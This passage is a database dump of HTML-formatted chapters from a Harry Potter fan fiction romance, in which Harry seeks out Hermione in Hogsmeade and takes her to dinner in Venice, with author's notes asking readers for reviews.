class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra leaned back\nagainst the wall, her mouth set in a firm line. Hermione stared at her for a\nmoment longer, then leaned forward and shot the ball in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was&#8230;. fast.&#8221; Oliver\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Hermione smiled at\nHarry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Play again?&#8221; he asked,\ngesturing to the table. &#8220;Perhaps some one on one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anytime.&#8221; Hermione replied,\nrather hoping he was referring to something else.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I want to go home.&#8221;\nCassandra snapped, setting her glass on the table and turning on her heel.\nOliver and Jenn looked at Hermione and then Harry, turning to follow Cassandra\nout.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;&#8221; Harry was at a loss\nfor words, he didn&#8217;t want to leave, but he had to. &#8220;Here&#8230;&#8221; he handed her his\npool stick, leaving his hands on it as long as possible. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched him leave;\nhe turned and looked at her one more time before disappearing out the door.\n&#8220;Shit!&#8221; she muttered to herself. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oliver steered the broom\ndown to Jenn&#8217;s yard. &#8220;I&#8217;ll be right back.&#8221; He told Harry and Cassandra as he\ngrabbed Jenn&#8217;s hand and they went up to her porch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I had a good time tonight&#8230;&#8221;\nOliver said as he hugged her body close to his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; Jenn lifted\nherself up and pressed her lips against his, bringing her hands around his neck\nand stroking his hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230;. have&#8230;. take&#8230; Harry&#8230;.\nhome&#8230;.&#8221; Oliver gasped out. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe you can take them\nhome later?&#8221; Jenn asked suggestively. &#8220;I still owe you for the pool lesson&#8230;.\nHey!&#8221; she cried out as Oliver pulled away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be right back!&#8221; he shouted.\nHe jogged down where Harry and Cassandra sat, refusing to speak to one another.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potter&#8230;. sorry but&#8230;pressing\nissues at hand. You&#8217;ll have to find your own way home.&#8221; Oliver put a locking\nspell on his broom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What? Oliver!&#8221; Harry yelled\nas Oliver ran back up to the porch and he and Jenn went inside, slamming the\ndoor behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice, real nice.&#8221; Cassandra\nsaid angrily. &#8220;Oliver&#8217;s starting to take after you now Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s that supposed to\nmean?&#8221; Harry asked, spinning around. They began to walk down the sidewalk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It means you pretty much\nblew me off for another girl tonight Harry, and I didn&#8217;t appreciate that!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who am I here with now?&#8221;\nHarry&#8217;s voice was loud and annoyed. &#8220;Did I leave you there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra stopped in the\nmiddle of the walk, causing Harry to bump into her. &#8220;You may as well not be\nhere Harry, for all I know your mind is still back in that pub with HER!&#8221; she\nturned and began walking again. &#8220;Do me a favor, don&#8217;t call me anymore&#8230;.&#8221; Her\nvoice trailed away as she walked off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good riddance.&#8221; Harry\nmuttered. He ran a hand through his raven locks as he flagged down the Knight Taxi\nService to take him to his family&#8217;s home on the outskirts of town. Thoughts of\nthe dark haired girl ran through his head as he got in, he definitely had to\nfind out who she was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Well there&#8217;s chapter\n3, this story isn&#8217;t going to be as long as I thought it was, but who knows how\nsome of the later chapters turn out. &nbsp;Don&#8217;t forget to R/R to let me know what you think!!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 4</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(Well, thanks for what\nreviews I got on chapter 3, I know that ff.net does not make reviews go up very\neasy, but I do appreciate the people that took the time to do so, here and at\nmy group. It&#8217;s VERY much valued to know that you guys are enjoying this!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If you&#8217;re an anime fan,\nplease go check out the story One Crazy Life by Ryoko Blue. I&#8217;m not much into\nanime, but I&#8217;m enjoying the story so far, and if I can follow it, anyone can.\nSo go read it, after you&#8217;re done reading and reviewing this of course ;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, I love to chat about\nH/Hr and Harry Potter on AIM or MSN, please feel free to page me if you see me\non!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, on with chapter 4!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender and Jane jogged up\nthe front steps to their modest house, which was off the main street in\nHogsmeade. Lavender held the door open for her aunt, who thanked her and headed\ninside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; Jane called up\nthe stairs, pulling off her sweatshirt and hanging it on a hook by the stairs.\n&#8220;Are you home?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Mum!&#8221; Hermione called\ndown. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why didn&#8217;t&#8217; you come\njogging with us?&#8221; Lavender questioned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;&#8221; Hermione looked\naround her room with something to cover herself up with should her mother come\nupstairs; she knew how her mother hated the color black. &#8220;I needed to sleep in,\nlate night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Jane looked disapprovingly\nup the staircase then over at Lavender. &#8220;I need to get lunch ready, neighbors\nare coming over.&#8221; She headed down the hallway to the kitchen. &#8220;Hermione, you\ncome down now and help me get lunch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lav will!&#8221; Hermione called\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, Hermione.&#8221; Lavender\nfrowned as her cousin&#8217;s head appeared at the top of the staircase.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She gone?&#8221; Hermione\nwhispered. Lavender went down a few steps and nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow!&#8221; Lavender said, her\ncousin looked gorgeous. She was wearing a short black strapless dress; it ended\na good five inches above her knee and was glittery across the bust. &#8220;Where did\nyou get that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gladrags.&#8221; Hermione\nanswered, pulling up her wild curls so Lavender could see the back and twisting\naround. A small white tag fluttered off the back and Lavender grabbed it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Three hundred Galleons, are\nyou out of your mind?&#8221; she hissed in shock. Hermione pulled away from Lavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to return it,\nafter&#8230;. I&#8217;ve worn it!&#8221; Hermione smiled brightly at her cousin. &#8220;Somewhere!&#8221; she\ngrinned again and rushed back up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; her aunt&#8217;s voice\nechoed down the hall. Lavender sighed, and went into the kitchen to help.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait up Lori!&#8221; Lavender\nlaughed, running after the little girl. Henry had asked her to bring Lori by\nabout three, and they were fifteen minutes early.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Daddyyyyy!!&#8221; Lori shouted\nas they went inside the house that Henry was working on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey you!&#8221; Henry grinned as\nhis daughter came running towards him. &#8220;How was your story hour?&#8221; Lavender had\ntaken her up to the library, where they told Muggle fairy tales once a week.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I got a book!&#8221; Lori said\ndelightedly, holding it out for her father to see.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quidditch Through the\nAges&#8230;uh oh!&#8221; Henry playfully slapped the heel of his hand to his forehead. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She picked that out\nherself.&#8221; Lavender said, smiling fondly at the child. Henry reached back and\ngrabbed a bag. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here&#8217;s your lunch, you can\ngo out on the porch and I&#8217;ll be right there.&#8221; He handed the bag to Lori and she\nscampered outside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here, Lavender, this should\nkeep me paid up.&#8221; Henry handed her a small bag with her pay inside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She said, putting\nit in her pocket. &#8220;You&#8217;re all doing an amazing job on this house, the\nrenovations must have been really vast.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, they are, and the new\nowner keeps wanting more things done to it.&#8221; Henry groaned. &#8220;Would you like to\nsee the best part?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure!&#8221; Lavender replied.\nThey went up the stairs, to the very top floor. Henry pushed aside a plastic\ncovering and led her out onto a deck that overlooked the expansive yard to one\nside, and the whole town of Hogsmeade to another. &#8220;It&#8217;s gorgeous up here!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well the original owner of\nthe house had it built so he could watch the ships come and go.&#8221; Henry said. He\ncame over and stood next to her, leaning on the rail. &#8220;He&#8217;s got a really sad,\ntragic tale to him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Lavender asked,\nintrigued. She loved folklore, whether it was true or not. She came up right\nnext to him and leaned on the rail as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, Charles Rochester was\na rich man who spent about half his year here in England, and the other half in\nthe United States, bartering and trading. During one of his trips, he met a\nlovely young woman, Katrina. They fell instantly in love, and planned to marry\nas soon as she was able to come over here to England. Charles came back first,\nKatrina was soon to follow, but her ship was lost at sea. He was devastated, of\ncourse, and would come out here every night to watch for her ship.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed. &#8220;What a sad\nstory.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry turned and smiled at\nher. &#8220;Well a story like that makes us appreciate our significant others a\nlittle more, doesn&#8217;t it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender smirked. &#8220;Well if I\nhad a significant other&#8230;.&#8221; She trailed off as Henry turned away again to look\nover the town, and something in her stomach gave a tiny lurch as the sunlight\ndanced on his face and through his brown hair, weaving in flecks of gold.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know they say on stormy\nnights, you can hear old Charles walking around out here.&#8221; Henry said, looking\nat her out of the corner of his eye, a slight smirk on his face. She smiled but\ndidn&#8217;t respond. &#8220;Of course, it could be this old, squeaky board.&#8221; He stepped on\nit and it let out a rather loud creak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you going to fix it?&#8221;\nshe asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221; He replied. &#8220;I wouldn&#8217;t\ndare.&#8221; He looked down and glanced at his watch. &#8220;I&#8217;ve got to go down, I don&#8217;t&#8217;\nwant to leave Lori alone too long.&#8221; Lavender followed him back to the main\nfloor. &#8220;Would you like to stay and have lunch with us?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d love to.&#8221; Lavender\nreplied immediately. She followed Henry outside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what really happened,\nthe day of the wedding?&#8221; Hermione asked as she, Lavender and Susan walked down\nby the docks later that evening. &#8220;I mean, I&#8217;ve never seen anyone pass out that\nway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sod off Hermione.&#8221; Susan\nfrowned down at her. &#8220;I was scared to death, having everyone stare at me like\nthat, and I&#8217;ve heard <i>enough</i> from my father about!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, sorry.&#8221; Hermione\nrelented, grinning. Lavender glared at her and patted Susan&#8217;s arm sympathetically.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At least everything is fine\nbetween you and Ron, and you can set a new date now!&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess.&#8221; Susan said,\nwrapping her jumper tighter around her. They walked along a few more moments in\nsilence until they came to Ron&#8217;s boat. &#8220;Look, that was his wedding present to\nme. It used to be called Molly after his mom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What a prince.&#8221; Hermione\nsaid dryly, hopping into the boat. She pulled on a rope that hung off the back\nand from the water came a six-pack of beer. &#8220;Actually, a God, make sure to tell\nhim so.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, don&#8217;t take that\nit&#8217;s Ron&#8217;s!&#8221; Susan tried to take it from her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan, relax, when he finds\nout, you take off your shirt and he&#8217;ll forget all about it.&#8221; Hermione snapped,\npulling a can off the ring. &#8220;I never knew he had such a fondness for Muggle\nbeer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Susan said,\naccepting the can Hermione handed her. Lavender grabbed one as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great Wizards, is that\nSaint Lavender with alcohol?&#8221; Hermione&#8217;s voice was tinged with sarcasm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I like to drink once in\nawhile, just not every weekend!&#8221; Lavender shot back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a real lush.&#8221;\nHermione teased. &#8220;You go out with ten guys every weekend too huh.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No that&#8217;s your department.&#8221;\nLavender grinned back. &#8220;Sleeping with the town of Hogsmeade.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey now, there&#8217;s only been\ntwo, and both times it was a less than satisfactory experience.&#8221; A grimace now\ncrossed Hermione&#8217;s face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, on the other hand&#8230;is\nfabulous.&#8221; Susan interjected. &#8220;I mean, I don&#8217;t know what I&#8217;d do if&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yuck, Sue, really.&#8221;\nHermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t help it. I get really\nturned on by him.&#8221; Susan said as they started walking back down the dock.\n&#8220;Especially by his wrists.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;His wrists?&#8221; Lavender and\nHermione looked at each other and burst into laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, his wrists! They&#8217;re so\nbig, and strong&#8230;&#8221; Susan sighed and looked up at the sky. &#8220;I think there&#8217;s\nsomething the matter with me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think so.&#8221; Hermione\ncommented dryly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re in love, that&#8217;s\nall.&#8221; Lavender said in Susan&#8217;s defense. &#8220;Do you always mean to sound that\nbitter about love?&#8221; she asked her cousin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped and sighed,\nturning to face them. &#8220;No, I&#8217;m sorry Susan. I really don&#8217;t intend to sound so\nharsh, just sometimes I always wish I knew if there was someone out there for\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure there is.&#8221;\nLavender said, putting an arm around her cousin&#8217;s shoulders. Susan came up\naround the other side of Hermione and they leaned against one another. &#8220;Now for\nme, on the other hand&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8217;s always&#8230;what&#8217;s his\nname&#8230;Henry?&#8221; Hermione said, turning around and looking wickedly at Lavender. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, come off it Hermione.&#8221;\nLavender said. &#8220;I&#8217;m his babysitter, not his mistress.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not yet&#8230;&#8221; Hermione grinned\nslyly. &#8220;Look, seriously you two have it made, I&#8217;m going to be stuck here the\nrest of my life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are not&#8230;&#8221; Susan started\nto say but Hermione interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, Lav, you&#8217;re the\nsmartest person in the entire wizarding world, you&#8217;ll get to leave here soon,\nyou&#8217;re going away to university. Susan, you and Ron, once you get married, can\nleave to start a family of your own.&#8221; Hermione paused. &#8220;All I&#8217;ve got is my smile\nand three beers.&#8221; She began to walk backwards as Susan&#8217;s eyes widened. &#8220;So to\nhell with you guys!&#8221; she shrieked and ran.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Susan shouted,\nrunning after her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait!&#8221; Lavender also\nlaughed, jogging down the dock. The laughter of the three girls echoed off the\nwater and faded into the night.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tucked her long\nlegs underneath her as she flipped a page in her book. She absolutely adored\nMuggle romance novels, and this one was no exception. Her eyes skirted quickly\nacross the page as she became involved in the tales of Francesca Cahill and her\nlove life. Much more exciting than her own, at any rate. On days like this when\nshe didn&#8217;t bother leaving the house, she let herself go, her hair was pulled up\nin a messy ponytail high on her head, one curl falling over her forehead. She\nhad baggy khaki colored pants on, and a tank top. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ding!&#8221; the sound of the\ndoorbell reverberating through the house jolted her from her novel. She looked\nup to see if her mother or cousin would answer the door, but she remembered\nthat they were still out jogging together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn it, I&#8217;m coming&#8230;&#8221; she\nmuttered as she put a marker in her book and pulled herself off the couch.\nHermione padded across the hallway in her bare feet and yanked the door open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; she began\ncrossly, and froze, for none other than Harry Potter stood on her porch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Heehee&#8230;a cliffie huh\n;) Well to get the next part, I have a teensy little favor to ask of all my\nreaders, and that&#8217;s to leave me a review to let me know how you&#8217;re liking the\nstory.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Francesca Cahill is a real\ncharacter in the Deadly novels by Brenda Joyce. They are so amazing, if you\nlike romance and mystery, READ these!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And a little bit of news-\nthere is a real sequel in the works for Return to Me&#8230;I&#8217;ll keep you posted as\nthe plot forms ;) Anywho, R/R and above all, enjoy!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 5</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Well I expect to see\neveryone telling me how much they love me, since I didn&#8217;t leave you at a\ncliffhanger for long ;) Just kidding.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well this chapter is ALL\nH/Hr&#8230;.so sit back and enjoy!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gasped and slammed\nthe door shut. &#8220;What is he doing here?&#8221; she asked herself frantically. She\npressed her hands to the side of her face, realizing what she had just done.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry!&#8221; She yanked open\nthe door again. Harry wore a stunned expression on his face that quickly turned\ninto a quite endearing smile. &#8220;Um&#8230;hi.&#8221; She forced a smile onto her face and\ntried to regain her composure.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello, Hermione Granger.&#8221;\nHarry grinned even wider. &#8220;You are a most difficult woman to find, you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh really?&#8221; Hermione cocked\nan eyebrow and held open the door a little wider. &#8220;Come in, if you like.&#8221; She\nlooked around quickly and ashamedly at her home, it was so tiny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry stepped\nthrough the doorway, not once taking his eyes off the beauty in front of him.\nEven dressed down she took his breath away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I get you anything?&#8221;\nHermione asked, closing the door and leaning against it. He was obviously going\nsomewhere after this, he was dressed nicely in a suit and jacket.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, thank you.&#8221; Harry said.\n&#8220;But you can answer a question for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what would that be?&#8221;\nHermione asked, coming away from the door and up next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you like to have\ndinner this evening?&#8221; Harry asked, producing a single red rose out of thin air.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked at him, a\nsmile slowly crossing her face. She put one hand on his chest and pushed him\nback into the living room. &#8220;Sit.&#8221; Hermione grabbed the book she had been\nreading and handed it to him. &#8220;Read. I&#8217;ll be right with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry leaned over to look at\nher as she dashed up the stairs. Looking down as she reached the landing, she\ngave him a dazzling smile. About twenty minutes later, she reemerged, her hair\ndone perfectly in long curls that brushed halfway down her back, flawlessly\ndone makeup, and a tiny black dress that made Harry feel like pushing her down\non the sofa and snogging her right then and there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just have to leave a\nnote&#8230;&#8221; Hermione was saying, as she scribbled on a scrap piece of paper. &#8220;All\nright.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230;&#8221; Harry said. &#8220;Do you\nlike Italian food?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, when you asked me\nif I liked Italian food, I didn&#8217;t realize you were taking me all the way to\nVenice for it.&#8221; Hermione set her fork down on her empty plate. &#8220;Not that I mind\nor anything.&#8221; She smiled and Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Only the best for you.&#8221; He\nflirted, leaning over close by her. She smelled so tantalizingly sweet, like\nrosebuds. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, what brings you to\nHogsmeade?&#8221; Hermione asked over small dishes of gelato. &#8220;I mean, it&#8217;s not\nexactly a place you go to for fun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My father just bought a\nhouse near the town for vacation purposes, he asked me to go check it out.&#8221; Harry\nleaned back and smirked. &#8220;Who was I to refuse an offer to get away from him for\na week or two?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t get along very\nwell with your father?&#8221; Hermione guessed correctly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, not especially.&#8221; Harry\nreplied, looking thoughtful. &#8220;He wants me to be exactly like him, but I&#8217;m too\nmuch of a free spirit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know that feeling, all\ntoo well.&#8221; Hermione nodded. &#8220;So you don&#8217;t go to university or anything? My\ncousin was accepted to one, but she&#8217;s only got a part scholarship, she&#8217;s got to\nsave more.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I needed a break from\nschool, I&#8217;m in training to become an Auror for the Ministry of 